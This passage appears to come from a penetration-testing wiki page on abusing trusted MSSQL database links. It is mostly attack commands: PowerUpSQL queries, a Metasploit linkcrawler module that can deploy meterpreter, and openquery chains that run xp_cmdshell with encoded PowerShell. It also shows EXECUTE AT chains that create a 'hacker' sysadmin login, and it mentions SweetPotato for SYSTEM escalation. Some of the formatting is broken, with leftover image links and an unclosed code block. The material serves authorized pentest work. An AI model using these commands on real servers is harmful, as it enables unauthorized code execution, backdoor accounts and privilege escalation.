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The [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) tool is based on impacket, and allows also authenticate using kerberos tickets, and attack through link chains
If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
**The links between databases work even across forest trusts.**
### Powershell Abuse
```powershell
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
You can easily check for trusted links using metasploit.
```bash
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
### Manual - Openquery()
From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)
_Login using Windows authentication:_
.png>)
#### Find Trustable Links
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
```
.png>)
#### Execute queries in trustable link
Execute queries through the link (example: find more links in the new accessible instance):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
{% hint style="warning" %}
Check where double and single quotes are used, it's important to use them that way.
{% endhint %}
.png>)
You can continue these trusted links chain forever manually.
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
```
If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.
### Manual - EXECUTE
You can also abuse trusted links using `EXECUTE`:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## Local Privilege Escalation
The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication".
A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
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